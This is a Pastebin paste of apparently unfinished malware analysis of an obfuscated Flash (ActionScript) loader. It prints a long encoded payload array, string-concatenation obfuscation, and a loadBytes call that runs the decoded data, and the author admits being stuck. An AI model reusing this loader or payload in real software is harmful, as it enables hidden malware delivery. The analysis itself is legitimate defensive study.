68, 50, 57, 50, 52, 53, 48, 66, 52, 70, 57, 65, 49, 53, 52, 55, 70, 65, 57, 52, 55, 57, 49, 65, 48, 65, 53, 70, 50, 55, 65, 67, 48, 51, 67, 68, 49, 55, 57, 54, 54, 65, 49, 66, 57, 55, 57, 65, 53, 49, 52, 54, 69, 51, 54, 66, 69, 67, 67, 51, 52, 56, 57, 67, 48, 65, 50, 48, 51, 57, 49, 52, 56, 69, 66, 50, 48, 56, 52, 49, 55, 49, 53, 52, 57, 66, 70, 48, 66, 67, 67, 54, 51, 48, 68, 69, 57, 57, 55, 67, 57, 48, 70, 68, 65, 65, 54, 68, 65, 67, 57, 50, 49, 70, 48, 52, 67, 57, 54, 65, 69, 56, 66, 51, 68, 49, 67, 49, 54, 55, 51, 53, 49, 54, 49, 53, 67, 52, 48, 67, 68, 66, 57, 68, 50, 66, 50, 51, 67, 69, 57, 68, 69, 55, 69, 69, 68, 67, 52, 56, 53, 50, 51, 65, 51, 53, 55, 67, 70, 50, 53, 54, 51, 65, 68, 49, 69, 55, 51, 55, 55, 70, 67, 54, 49, 56, 57, 53, 50, 69, 54, 65, 66, 70, 66, 56, 52, 48, 54, 50, 70, 56, 50, 56, 69, 56, 57, 68, 52, 55, 54, 57, 55, 48, 50, 69, 66, 69, 54, 65, 49, 57, 52, 52, 68, 48, 52, 54, 70, 48, 55, 54, 54, 52, 52, 69, 53, 70, 55, 56, 66, 57, 69, 68, 54, 68, 56, 49, 52, 53, 69, 70, 56, 70, 69, 54, 66, 67, 49, 68, 65, 66, 69, 67, 56, 50, 54, 54, 54, 66, 54, 53, 70, 49, 57, 48, 54, 48, 69, 69, 68, 49, 54, 48, 55, 57, 70, 56, 69, 52, 50, 53, 69, 51, 53, 48, 48, 52, 57, 54, 53, 55, 48, 66, 70, 56, 69, 54, 51, 49, 66, 68, 57, 55, 66, 55, 66, 68, 55, 56, 55, 66, 55, 66, 55, 56, 54, 66, 52, 68, 55, 49, 56, 66, 69, 66, 49, 67, 65, 48, 52, 70, 65, 54, 66, 67, 52, 68, 52, 56, 68, 51, 48, 68, 49, 51, 53, 48, 68, 55, 65, 48, 53, 52, 55, 66, 49, 55, 57, 51, 49, 50, 66, 50, 68, 66, 65, 48, 56, 68, 49, 55, 69, 49, 52, 68, 48, 68, 53, 68, 57, 69, 57, 51, 56, 56, 49, 52, 53, 66, 70, 70, 66, 57, 50, 50, 66, 67, 56, 66, 67, 57, 67, 56, 50, 53, 48, 67, 56, 49, 55, 53, 56, 65, 66, 68, 69, 69, 56, 65, 51, 57, 53, 69, 51, 52, 68, 49, 65, 50, 70, 51, 50, 50, 69, 57, 53, 65, 53, 54, 55, 69, 66, 48, 65, 54, 65, 54, 54, 68, 57, 50, 68, 66, 67, 70, 56, 48, 55, 65, 52, 51, 70, 69, 50, 66, 52, 56, 49, 51, 49, 48, 68, 57, 53, 69, 51, 56, 51, 69, 66, 56, 67, 66, 57, 48, 55, 65, 66, 66, 65, 69, 51, 57, 53, 55, 53, 54, 52, 50, 56, 51, 56, 66, 53, 65, 67, 48, 68, 56, 53, 67, 55, 51, 50, 53, 49, 67, 54, 67, 56, 51, 57, 70, 70, 56, 56, 57, 51, 56, 49, 48, 56, 48, 69, 49, 50, 53, 51, 55, 69, 67, 68, 48, 54, 70, 54, 54, 48, 57, 57, 53, 54, 49, 57, 49, 53, 65, 68, 55, 50, 69, 48, 50, 57, 57, 49, 57, 68, 66, 56, 65, 54, 53, 51, 48, 66, 70, 49, 53, 67, 67, 48, 67, 52, 49, 53, 52, 49, 49, 57, 48, 56, 48, 56, 52, 55, 55, 48, 49, 69, 65, 67, 65, 66, 54, 69, 69, 52, 65, 53, 49, 53, 68, 68, 49, 57, 66, 65, 66, 50, 57, 50, 49, 51, 53, 54, 70, 70, 65, 52, 51, 48, 70, 48, 65, 70, 48, 48, 51, 50, 65, 53, 68, 51, 68, 67, 49, 67, 56, 49, 50, 50, 65, 49, 56, 67, 53, 48, 65, 56, 67, 69, 57, 48, 65, 48, 68, 69, 57, 48, 65, 56, 68, 53, 68, 54, 48, 51, 67, 51, 50, 69, 49, 51, 57, 49, 69, 66, 69, 68, 65, 48, 50, 53, 55, 52, 56, 68, 69, 56, 52, 54, 70, 65, 69, 51, 53, 54, 56, 67, 54, 54, 65, 49, 51, 52, 53, 50, 67, 56, 56, 65, 67, 52, 68, 51, 56, 55, 55, 50, 48, 51, 50, 48, 70, 68, 52, 70, 70, 50, 54, 56, 68, 55, 56, 55, 50, 50, 52, 70, 56, 51, 52, 48, 52, 53, 70, 52, 50, 57, 54, 54, 53, 49, 69, 50, 69, 51, 54, 69, 68, 51, 48, 68, 49, 67, 48, 55, 54, 48, 56, 51, 69, 67, 49, 65, 48, 65, 66, 65, 55, 50, 51, 48, 52, 55, 65, 54, 65, 57, 56, 69, 54, 54, 50, 53, 50, 55, 69, 52, 52, 57, 50, 52, 54, 54, 54, 57, 68, 65, 50, 66, 70, 50, 54, 57, 54, 56, 56, 66, 54, 54, 50, 48, 70, 54, 52, 50, 69, 57, 53, 56, 48, 66, 53, 54, 50, 51, 69, 50, 53, 48, 49, 68, 66, 66, 49, 54, 52, 68, 68, 55, 50, 56, 52, 57, 50, 52, 57, 65, 65, 52, 49, 70, 70, 56, 52, 52, 65, 54, 68, 54, 67, 67, 50, 53, 68, 57, 55, 57, 49, 57, 56, 52, 54, 56, 69, 69, 50, 48, 70, 50, 50, 53, 53, 67, 53, 53, 57, 52, 66, 56, 57, 56, 50, 56, 51, 67, 52, 69, 52, 68, 70, 57, 66, 57, 50, 70, 49, 56, 69, 52, 50, 51, 70, 51, 56, 50, 70, 50, 68, 48, 57, 66, 68, 53, 66, 52, 54, 53, 52, 51, 68, 69, 66, 51, 68, 52, 69, 51, 53, 53, 54, 49, 65, 57, 65, 52, 70, 67, 48, 66, 68, 66, 57, 55, 52, 57, 68, 57, 66, 67, 48, 52, 49, 67, 68, 52, 49, 51, 65, 57, 52, 66, 52, 70, 49, 50, 55, 50, 57, 48, 50, 68, 67, 65, 50, 48, 69, 52, 54, 50, 57, 66, 53, 51, 57, 54, 68, 67, 70, 66, 67, 68, 68, 51, 66, 67, 49, 67, 67, 52, 50, 53, 48, 69, 49, 48, 69, 51, 52, 66, 55, 49, 56, 54, 48, 69, 55, 52, 52, 67, 54, 65, 57, 56, 67, 65, 57, 55, 56, 48, 67, 51, 67, 52, 69, 49, 50, 65, 57, 68, 53, 57, 68, 57, 66, 54, 48, 67, 57, 52, 53, 66, 56, 49, 66, 68, 48, 48, 49, 49, 56, 54, 52, 54, 52, 48, 52, 66, 57, 51, 52, 70, 53, 56, 56, 55, 66, 49, 66, 54, 51, 57, 49, 50, 49, 51, 65, 70, 67, 68, 57, 69, 51, 56, 52, 68, 70, 50, 66, 65, 49, 69, 52, 67, 67, 52, 69, 68, 53, 48, 53, 49, 52, 55, 65, 56, 70, 52, 55, 69, 55, 48, 51, 55, 68, 49, 54, 53, 65, 50, 52, 68, 69, 69, 65, 54, 51, 53, 48, 48, 48, 55, 67, 50, 65, 54, 54, 49, 52, 51, 57, 49, 65, 52, 53, 66, 69, 48, 49, 52, 52, 48, 49, 51, 54, 57, 66, 67, 54, 70, 70, 52, 50, 49, 50, 55, 52, 50, 52, 50, 66, 48, 50, 56, 49, 55, 51, 55, 54, 50, 55, 50, 66, 49, 50, 56, 70, 51, 48, 51, 53, 50, 54, 53, 57, 50, 70, 55, 53, 56, 49, 52, 49, 70, 54, 70, 53, 54, 48, 65, 66, 50, 70, 67, 67, 51, 48, 52, 51, 48, 51, 67, 48, 52, 65, 48, 54, 49, 49, 48, 68, 50, 70, 68, 48, 51, 49, 57, 69, 53, 52, 49, 67, 48, 68, 70, 51, 50, 49, 66, 55, 48, 52, 50, 50, 54, 54, 54, 57, 48, 51, 57, 67, 65, 51, 49, 52, 52, 68, 50, 56, 67, 57, 69, 66, 70, 56, 56, 52, 69, 65, 50, 49, 66, 67, 56, 48, 68, 51, 66, 51, 55, 48, 65, 56, 48, 66, 55, 68, 50, 68, 69, 54, 49, 66, 50, 68, 68, 48, 49, 65, 48, 48, 54, 56, 67, 65, 57, 65, 57, 49, 56, 52, 50, 56, 52, 70, 56, 69, 49, 52, 54, 56, 66, 49, 49, 53, 68, 50, 49, 52, 53, 51, 48, 67, 48, 52, 49, 68, 49, 68, 57, 53, 48, 67, 54, 51, 52, 57, 48, 52, 51, 49, 69, 56, 66, 67, 51, 55, 66, 51, 66, 65, 56, 53, 69, 50, 54, 54, 53, 68, 50, 68, 51, 54, 57, 49, 66, 55, 54, 53, 68, 67, 56, 69, 54, 52, 49, 54, 56, 68, 53, 67, 52, 50, 54, 70, 67, 68, 50, 52, 65, 52, 55, 53, 67, 51, 69, 66, 48, 55, 51, 68, 67, 70, 50, 68, 67, 67, 54, 57, 69, 52, 52, 54, 49, 65, 69, 54, 48, 55, 65, 66, 70, 53, 54, 51, 53, 51, 55, 51, 67, 51, 54, 67, 52, 50, 56, 50, 53, 57, 50, 48, 68, 53, 70, 67, 53, 48, 50, 67, 69, 55, 56, 53, 53, 66, 66, 67, 67, 49, 52, 54, 53, 54, 51, 56, 66, 56, 53, 50, 68, 57, 67, 49, 52, 55, 51, 57, 52, 66, 68, 48, 49, 48, 48, 55, 55, 57, 65, 57, 51, 53, 70, 54, 50, 55, 65, 51, 68, 68, 54, 68, 57, 66, 55, 67, 54, 68, 57, 65, 54, 54, 54, 49, 66, 67, 49, 52, 52, 50, 68, 55, 53, 56, 50, 51, 55, 66, 57, 50, 54, 66, 66, 57, 68, 54, 54, 68, 50, 70, 55, 56, 68, 54, 66, 70, 53, 54, 69, 66, 65, 70, 69, 49, 66, 69, 52, 53, 52, 65, 49, 56, 54, 66, 48, 69, 66, 52, 53, 48, 68, 67, 50, 57, 65, 51, 66, 70, 51, 50, 70, 52, 70, 49, 51, 50, 67, 57, 54, 48, 49, 55, 67, 65, 66, 69, 68, 51, 69, 66, 53, 54, 49, 67, 49, 51, 54, 66, 54, 69, 55, 65, 67, 55, 68, 50, 53, 53, 67, 55, 66, 51, 65, 67, 54, 65, 70, 68, 69, 56, 66, 48, 66, 56, 68, 56, 68, 68, 51, 48, 69, 54, 52, 68, 56, 51, 66, 66, 49, 57, 51, 56, 56, 65, 52, 56, 65, 65, 54, 70, 66, 49, 55, 49, 51, 55, 51, 57, 65, 69, 49, 66, 49, 54, 51, 52, 48, 51, 48, 70, 48, 66, 54, 52, 69, 65, 67, 53, 69, 54, 50, 55, 48, 54, 55, 57, 55, 51, 49, 54, 51, 65, 69, 53, 66, 50, 54, 66, 56, 65, 53, 53, 65, 69, 49, 55, 49, 66, 51, 56, 53, 51, 52, 65, 68, 70, 51, 54, 66, 57, 53, 53, 69, 67, 69, 70, 52, 65, 48, 48, 50, 51, 66, 54, 66, 57, 69, 49, 68, 52, 66, 49, 68, 48, 65, 48, 51, 66, 67, 57, 69, 67, 66, 65, 67, 68, 69, 48, 51, 68, 70, 52, 48, 50, 66, 54, 55, 67, 53, 51, 51, 68, 56, 57, 54, 70, 53, 52, 57, 67, 49, 54, 54, 69, 54, 54, 51, 49, 65, 53, 68, 68, 52, 68, 69, 50, 49, 53, 51, 65, 52, 66, 67, 50, 56, 54, 65, 67, 53, 68, 69, 51, 66, 48, 67, 48, 51, 50, 48, 56, 49, 66, 67, 57, 54, 57, 55, 70, 70, 49, 66, 68, 53, 54, 53, 57, 68, 48, 65, 56, 50, 68, 56, 49, 66, 54, 55, 66, 57, 53, 53, 51, 70, 65, 68, 55, 55, 69, 52, 48, 55, 69, 55, 51, 54, 51, 48, 51, 65, 70, 56, 52, 53, 67, 69, 68, 67, 52, 52, 52, 69, 52, 67, 65, 55, 48, 51, 69, 57, 56, 67, 56, 52, 55, 53, 52, 68, 68, 54, 55, 51, 56, 65, 53, 66, 68, 52, 49, 66, 50, 48, 50, 67, 52, 67, 53, 53, 50, 65, 51, 70, 65, 67, 54, 52, 66, 52, 57, 54, 55, 52, 69, 57, 67, 56, 57, 57, 66, 67, 52, 68, 49, 52, 70, 57, 52, 70, 53, 67, 54, 55, 55, 69, 68, 67, 67, 70, 51, 67, 66, 66, 56, 69, 52, 49, 65, 56, 48, 52, 55, 48, 70, 55, 53, 55, 66, 69, 50, 50, 56, 68, 51, 50, 66, 69, 51, 56, 70, 57, 69, 70, 65, 49, 48, 65, 53, 51, 66, 48, 65, 52, 54, 66, 65, 54, 55, 69, 53, 69, 68, 65, 69, 65, 53, 65, 54, 50, 70, 68, 54, 70, 67, 53, 49, 48, 67, 52, 50, 67, 56, 56, 50, 66, 50, 53, 51, 55, 69, 65, 69, 69, 50, 65, 69, 54, 66, 70, 53, 48, 50, 49, 49, 52, 65, 50, 68, 65, 57, 49, 50, 67, 51, 50, 70, 67, 52, 55, 55, 66, 53, 65, 65, 55, 56, 56, 51, 50, 57, 65, 48, 52, 48, 55, 69, 67, 49, 66, 57, 69, 52, 66, 57, 55, 55, 66, 53, 52, 57, 65, 50, 48, 70, 56, 65, 68, 53, 51, 53, 50, 57, 54, 68, 52, 70, 53, 55, 66, 55, 69, 56, 52, 56, 50, 48, 55, 48, 53, 55, 66, 56, 65, 68, 70, 65, 55, 52, 51, 53, 54, 66, 51, 66, 49, 66, 51, 55, 69, 67, 56, 57, 51, 49, 54, 66, 54, 56, 57, 68, 66, 66, 68, 54, 69, 48, 51, 50, 53, 68, 52, 55, 48, 53, 55, 51, 55, 69, 68, 56, 48, 65, 51, 70, 50, 49, 65, 70, 68, 57, 52, 55, 66, 57, 68, 56, 69, 49, 55, 54, 51, 48, 49, 66, 70, 68, 53, 49, 48, 48, 50, 55, 65, 68, 67, 68, 54, 55, 56, 53, 52, 65, 53, 50, 67, 68, 55, 69, 49, 56, 68, 67, 54, 55, 53, 48, 70, 67, 65, 69, 48, 56, 50, 52, 56, 68, 48, 50, 52, 51, 56, 67, 49, 51, 55, 52, 70, 68, 53, 49, 53, 57, 56, 48, 66, 66, 67, 56, 49, 67, 65, 48, 70, 56, 67, 66, 49, 67, 57, 51, 56, 65, 53, 55, 56, 66, 50, 69, 50, 66, 65, 66, 54, 51, 51, 66, 70, 48, 69, 56, 66, 56, 70, 70, 48, 67, 50, 55, 48, 68, 55, 69, 56, 48, 67, 53, 67, 57, 48, 54, 54, 53, 55, 69, 65, 65, 65, 49, 52, 67, 51, 67, 69, 65, 69, 66, 48, 52, 54, 55, 66, 55, 67, 65, 56, 57, 51, 48, 53, 51, 65, 50, 52, 53, 53, 56, 54, 54, 67, 69, 69, 48, 57, 68, 54, 69, 53, 51, 53, 70, 65, 53, 55, 66, 48, 54, 65, 65, 70, 48, 49, 48, 55, 67, 53, 55, 66, 69, 49, 66, 48, 53, 65, 68, 67, 48, 51, 68, 54, 56, 53, 57, 53, 66, 66, 70, 48, 54, 66, 51, 50, 69, 68, 66, 70, 65, 54, 55, 57, 68, 53, 49, 54, 48, 53, 56, 69, 52, 49, 49, 56, 55, 57, 51, 65, 65, 53, 57, 54, 49, 55, 53, 52, 66, 48, 49, 56, 67, 48, 68, 49, 67, 68, 67, 68, 49, 54, 49, 51, 52, 65, 56, 68, 69, 52, 53, 50, 65, 54, 50, 67, 68, 54, 49, 55, 49, 50, 52, 70, 56, 69, 56, 65, 53, 55, 53, 66, 56, 49, 52, 52, 70, 65, 57, 48, 48, 53, 68, 68, 57, 54, 51, 68, 68, 50, 66, 51, 67, 55, 69, 49, 56, 66, 68, 51, 69, 49, 56, 65, 66, 54, 48, 50, 56, 53, 66, 48, 65, 55, 56, 54, 56, 56, 49, 54, 53, 49, 48, 70, 49, 69, 56, 67, 67, 65, 50, 67, 66, 49, 52, 49, 48, 70, 67, 69, 57, 57, 49, 50, 55, 50, 57, 52, 65, 48, 68, 54, 67, 52, 65, 66, 52, 54, 56, 68, 53, 65, 65, 50, 57, 69, 49, 52, 65, 50, 57, 70, 69, 65, 48, 56, 55, 48, 49, 66, 67, 48, 56, 53, 50, 51, 67, 67, 48, 56, 50, 48, 69, 70, 70, 52, 56, 48, 51, 51, 50, 67, 57, 48, 52, 50, 68, 52, 66, 67, 56, 66, 54, 66, 68, 70, 69, 56, 57, 70, 67, 52, 69, 54, 69, 55, 48, 57, 50, 55, 53, 52, 50, 54, 70, 50, 65, 69, 56, 56, 57, 57, 56, 70, 65, 67, 53, 57, 48, 57, 53, 53, 65, 53, 55, 49, 52, 68, 54, 68, 68, 65, 52, 68, 57, 53, 55, 68, 53, 49, 69, 49, 65, 53, 49, 69, 56, 55, 67, 51, 54, 57, 65, 51, 67, 67, 50, 54, 49, 51, 66, 69, 52, 65, 69, 50, 67, 54, 51, 65, 68, 49, 52, 52, 53, 48, 49, 50, 55, 54, 68, 48, 66, 69, 53, 53, 48, 70, 69, 54, 57, 48, 56, 56, 53, 57, 53, 51, 67, 54, 55, 65, 57, 70, 67, 68, 49, 54, 55, 66, 56, 66, 55, 66, 65, 54, 53, 48, 49, 52, 53, 50, 69, 67, 66, 69, 53, 48, 53, 65, 50, 55, 55, 49, 67, 68, 54, 54, 54, 67, 68, 50, 67, 50, 48, 50, 67, 48, 67, 55, 49, 69, 57, 51, 66, 54, 56, 69, 53, 68, 68, 65, 66, 53, 68, 65, 48, 65, 66, 48, 66, 56, 70, 68, 49, 55, 65, 49, 53, 54, 56, 70, 55, 56, 49, 70, 68, 66, 50, 48, 67, 48, 49, 69, 69, 69, 55, 67, 56, 51, 69, 51, 54, 51, 54, 68, 54, 49, 55, 70, 66, 48, 69, 70, 49, 52, 52, 49, 67, 65, 52, 67, 49, 51, 48, 70, 66, 69, 68, 48, 56, 70, 49, 69, 70, 50, 56, 70, 65, 70, 49, 55, 54, 70, 54, 70, 68, 55, 54, 57, 68, 69, 67, 67, 56, 68, 65, 52, 54, 55, 56, 67, 54, 49, 55, 65, 57, 51, 51, 57, 51, 55, 70, 68, 66, 68, 68, 51, 52, 48, 67, 70, 55, 66, 65, 68, 53, 68, 65, 50, 69, 55, 68, 66, 53, 68, 69, 68, 55, 51, 49, 65, 70, 69, 49, 50, 53, 65, 70, 70, 53, 51, 52, 68, 69, 49, 65, 67, 68, 48, 67, 48, 56, 55, 57, 56, 48, 52, 49, 65, 48, 55, 55, 48, 65, 68, 53, 51, 56, 68, 56, 68, 49, 54, 52, 50, 57, 57, 48, 52, 69, 70, 56, 67, 50, 55, 55, 50, 53, 65, 49, 52, 48, 66, 57, 56, 49, 49, 53, 67, 69, 53, 53, 54, 66, 66, 51, 68, 49, 65, 56, 52, 50, 52, 67, 48, 50, 50, 49, 49, 56, 68, 48, 56, 66, 48, 56, 65, 52, 65, 54, 69, 52, 54, 50, 49, 49, 53, 51, 57, 53, 57, 66, 66, 67, 68, 49, 52, 50, 54, 54, 66, 54, 53, 55, 53, 68, 66, 49, 54, 55, 66, 68, 56, 49, 53, 57, 65, 68, 56, 55, 48, 48, 48, 48, 69, 49, 70, 54, 56, 48, 51, 53, 55, 53, 51, 52);
  107. _local2 = "";
  108. i = 0;
  109. while (i < _local13.length)
  110. {
  111.   _local2 = (_local2 + string.fromcharcode(_local13[i]));
  112.   i++;
  113. };
  114.  
  115.      // replace silly code below
  116.      //_local2 = this.str_replace(_local2, ((((((((((((((("!" + "X") + "X") + "") + "X") + "X") + "!0") + "3") + "9") + "4") + "3") + "4!") + "X") + "X") + "X") + "!"), "");
  117.      //with the code:
  118.    
  119.    _local2 = this.str_replace(_local2, "!XXXX!039434!XXX!", "");
  120.  
  121. _local2 = this.func1(_local2);
  122. var _local12:* = ((((((((((("g" + "ge") + "w") + "g") + "e") + "wh") + "w") + "e") + "w") + "g") + "qw") + "g");
  123. var _local14 = _local4;
  124. _local14[(((((((((((("" + "l") + "o") + "") + "a") + "d") + "B") + "y") + "t") + "e") + "") + "") + "s")](this.h2b(_local2));
  125. _local14 = this;
  126. _local14[((((((((((("a" + "") + "d") + "") + "d") + "") + "") + "C") + "h") + "i") + "l") + "d")](_local4);
  127.  
  128.  
  129.  
  130. ----------------------------------------------------------------------
  131.  
  132.  
  133. // came up with the below logic....
  134.  
  135. _local2 = "545469515457654849487070486953525649534857537050497049687051544857535468694851706667487070657057494857496769515765706967556770666665675551655670515669654954507070546948575369685649486969535450485248656969574852554856546567705166665255704968545649535557496854705352536953546756506767705348664854695151556770574865696567555055565353675653705456676967546767705456495154535554566766536857516655705069504852516770534851534870565151574870524970524867515454517051494956565670496669706650525148695450655155556752524869695351515065496851505549516670495548496966526751545667565469665267574868555656515454695150485050526969704854555165685270685669525256695650665070545669555070664849495057577049575052575550696948654849666855566768495370485056505067546757675057555066495569566854495751694967694970515566555052685756695170515566555256565470655070516949696969534951535048705166505351505768566551505468536848506570686751706667495554686850504955546950705667496948485067705348514848706950536966577069576665676670686754676967535657545268486950496555485155545252545565514950695554704951496855516655666753686668665553686756555651655169556869497056655151694968686852485751524855555753524955686753655365575557704868524967526650697069674968676853495567505368526951556951495151556867696756705766514949576966695049705750485468536853535557534857695565575667515768665670544949705555526955555549695553546966696867706956547065705452536965666968567056686869705452656654564948656555655354675170695557525449676651515551705752655366496957576568496868544954676656495567556549665056674966505355546968535457555053496951696551545568556649496654566854484970505255666656495465706668696657495566547050514855545249506770504970496853686754664853707053505769665668696555535652546950666554555453486955704954535157555050665767557065525055536754706555665748497055694967485265497052666949655154555766655465675656544970685154527056545468705452705650575448515554534966557066696655506555577068686765515348685666496548507065555449696949495368496557506855526751516651547051655050535451674855565156486668557065685249675165495468565066576570515454495456506968695268534851697053675648576867705155656553706649494955574969556950675655574970554956704955656569504865565770664953565669494865546652576549525765685649705055496566516948657057685148525251525351676770697051545255655557494870675555504953536555494855555054555449575666547068695356495251575557535552515454536956516568685265494950705167686866567057565254656756497048554966665652565654536652515554504857545570705368525669687055686666575465485370535356506752654866516855506856495470515454547053516666655353706949696657567053515349496668666751494957687055506767696770655654684852515548655270526850655553665667666657677069525148675669665451515756676951505152705668705048675566656867706956547070665050706766556653687069556950575454516652567068706570496669565668505551664970685049525152485248576870657048515653576556686749505749567068536752656849515752535467705470684848555748666550675467514968525268674865545652546557675656555349496650656649485666535649515665505268565365675465665457485066666755675248696666495651524969496852536855495754676968536653564854556754675553665255655056556967534965665266495468534968675568505251556550564855575350544870485752485369515666505656696556665653696670575065695766547051655465666568676653495267666867685766685265556957507070486767685055536553575753504857504953496749495449666667705248505654665167685657705654507066545768545754486868675652676867695052557056555252557057537067525154695155575257575555507057575665566650536869496849686868536849575457676650666554485068684865704851564967566949696667486568686848575568485566517051505249676751707056696953675369665666566567517056557053555448526948486965665065545567485365576956665554655470485448664969654855526954696749525757665053545468675656684854497068654957655353525568526965566748555257705755655453565353656650515057674868664855545051654969675254555769555048525067675453677066516666554966515651545054495755685767575153556570545752515754535755686957675466554957526666516569676749656668705149676757546570525651656652565049556549675055495167675049695767686866575553675448494870516756686554575656706752486566654950655254485752545155505455495548654969534866516567577055696548696866535153487056517051515669666951545453545267555057565256675766556548705053575452675569696852565667525565575455535670676851566948574953505169525554515452694949655656486566686951515254525070665366537049655667674948555255685766536957656757546751705754556949665667575065695070515166544952485065686665685054516750556565566867525249514855696753656769574857516750554956555767525649516766536656675266695751506650657052534855525670677053666856544854555152574968705268676868566654486966656665506754495170675368566666706967676951516850705557505256657057575367686648504949546652495054516568654956566966504950485067656766556953674851665654515748495148696754505552664951565765654950515456515166675666654953694870516767556548526652496566677053705067675167556867675269704849545657685250485254546868556567525068676753506654566957675168535149506956676970686649545051484951536550495357545767535567485468536665525054566953574866706857525366526566695465545267545768526755494966536667556770685648574967685751535448685349706952686552515670506870577052665751687052515650545570655151525149565351485353535055686753564970505655665157576752556948675350556856555454514952486967485154524850666550515769545351546951535453516957545449675765515370494952656767516850696957655149545668494957575249576857654856554868566950525257505369666570564949674969516848696668504850515748676750495554676765674965536567655757515453536952575750544856656950515765675748575165694969664848535450655353535250655170676951686766705048495149565550576957496949554850566770665757524948486953534967566668694949666548704970665353666670687066535454485552576765505748515157486567505448486965706655705755555054555165685569686951666653537070555552576655536670545570565555504868656949565470575456525051675165565252575765515068695457505168555556505468496848506655695749666865496653575752555551546969525553516550566752515667685269684965496870526553535368505750525348665270576549535255706557525557496548655370505565674851676849555754546549665755576553495254695154666967675152565767486550485157495256696650485652495549535257667048666767545148686957575567574870686565546865675750497048526757546569566651684967495455515349544953675248676866576850665051676957686955696968675256535051655153556770505354516568496955515555706754495657535069546566706656524854507056505669565768525554575548506966695465495752526848525470485554545252695370555666576968546856495253697056706954666749686566696756505454546654537049574854486969684954485557705669525053695153484852575453554866705669545149666857556655666855565566556655565466526855495666696649676548527065546667526852566851486849515348685565485352556649555751495066506866654856684955694952684868536857695751565649525366707066575050666756666757675650534867564955535665666869695665515753695152684965507051505069575365535455696648655465545468575068666770564855655251706950665256495149486857536951565169665667665748556566666569515753555354525056515666536567486856536755515053496754675651577070565657515649485648694950535155696768485470545448575753544957495365685550694850575749576866566554535148667049536767486752495352494957485648565255554849696567656654696952655349536868495766656650575049515354707065525148704865704848515065536851686749675649505065495667534865566769574865486869574865566853685448516751506949515749696669686548505355525668695652547065695153545667545465495152535067565665675268515655555048515048706852707050545668555655505052705651524852537052505754545349695069515469685148684967485554485651696749654865666555505148525565546557566954545053505569525257505254545457686550667050545754565666545450487054525069575356486653545051695053484968666649545268685550565257505257656552497070565252655468546767505368575557495756525456696950487050505353675353575266565756505651675269526870576657507049566952505170515650705068485766685366525453525168696651685269515353544965576552706748666866575552576857666748524967685249516557526652704950555057485068676550486952545057665351575468677066676868516667496767525053486949486951526655495654486955525267546557566765575556486751675269495065576853576857665448675752536656496668484849495654525452485266575152705356565566496654515749504951657067685769515652687050666549695267675269685348534952556556705255695548515568495453655052686969655451534848485567506554544952515749655253666948495252484951545766675470705250495055525052506648505649555155545055506649505670514851535054535750705553564952497054705354486566507067675148525148516748526548544949486850706848514957695352496748687051504966554852505054545457485157676551495252685056675769667056565269655049666756486851665155486556486655685068695449665068684849654848545667655765574956525056527056694952545666494953685049525351486748524968496857534867545152574852514969566667515566516665565369505454536850685154574966555453686756695452495456685367525054706768505265525553675169664855516867705068676754576952525449656954485565667053545153515551675154675250565053575048685370675348506769555653536666676749525453545156665653506857674952555157526668484948485555576557515370545055655168685468576655675468576554545449666749525250685553565051556657505466665768545468507055566854667053546966657069496669525352654956546648696652534868675057655166705150705270495150675754484955676566696851696653544967495154665469556567556850535367556651656754657068695666486656685668685148695452685651666649575156566552566565547066495549515551576569496649545152485148704866545269656753695450554854555755514954516569536650546656655353656949554966515653515265687051546657535369676970526548485051665466576949685266496848654851666757696766656768694851687052485066545567535151685657547053525767495454695454514965536868526869504953516552666750565465675368695166486748515048564966675754575570704966685354535768486556506856496654556657535351706568555569524855695551545148516570565253676968675252526952676555485169575667565255535268685455515665536668524966504850675267535350655170656754526652575455526957675657576667526849527057527053675455556968676770516766665669524965564852554870555355666950505668515066695156705769706549486553516648655254666554556953696865696553655450706854706753494867525067565650665053515569656969506569546670534850494952655068655749506751507067525555665365655556565150576548524855696749665769526657555566535257655048705665685351535057546852705355665569565256504855485355665665687065555251535466516649665155696756575149546654565768666668546948515053685255485355515569685648655170504965706857525566576856694955545148496670685349484850556568676854555653526553506768556949566867545553487067656948565052566848505251566749515552706853495357564866666756496765487056676649675751566553555666506950666566545151667048695666567070486750554868556956486753675748545453556965656549526751676965696648525455665567655657514853516550525353565454676969485768546953515370655355664854656570484948556753556669496648536568674851685456535753666670485466515069686670655455576853495448535669524949565557516565535754495553526648495667486849676867684954495152655668695253506554506768544955495052705669566553555366564952527065574848536868575451686850665167556949566668516949566566544850565366486555565456564954534948704969566767655067664952494870676957574950555057526548685467526566525456685365655057694952655057706965485655484966674856535051676748565048697070525648515150675748525068526667566654666870695657706752695469554857505553525054705065695656575756706567535748575353655355495268546868655268575355685349694965534969565567515457655167675054495166695265695067545165684952525348495055546848666953534870695457485656535753516754556557706768495455665666556665545348495253506967666953485365505555496768545454676850675048506748675549695751665456695368686566536865486566486656706849556549535456705556497068665048674849696969556756516951545154685449557066486970495252496765526749514870666968485670496970505670657049555470547068555457686967675668655254555667544955655751515751557068666868515248677055666568536865506955686653686968555149657069495053657070535152686949656768486748565557564852496548555548656853515668566849545250575748526970566750555550536549524866575649495367695353546666516849655652505267485050494956684856664856655265546952545049495351575357666667684952505454665453555368664954556668564953576568565548484848694970545648515355535152";
  136.  
  137. _local2 = str_replace(_local2, "!XXXX!039434!XXX!", ""); // replace the unexist strings data..  bullsh*t..
  138. _local2 = reverse(_local2); //reversing the looong string above backward...
  139. loadBytes(_local2); //use Flash function to load the abive dats
  140. addChild(_local4);
  141.  
  142.  
  143.  
  144. ..... stuck stuck..stuck!!!!!...
  145.  
  146. // last comment...
  147.  
  148. the strings looks like a binary that is loaded as per it is by flash,
  149. doesn't smells like shellcode after all, too darn long...
  150. but if it a binary,,, can't even XOR the MZ, http://, .exe, whatever key correctly...
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top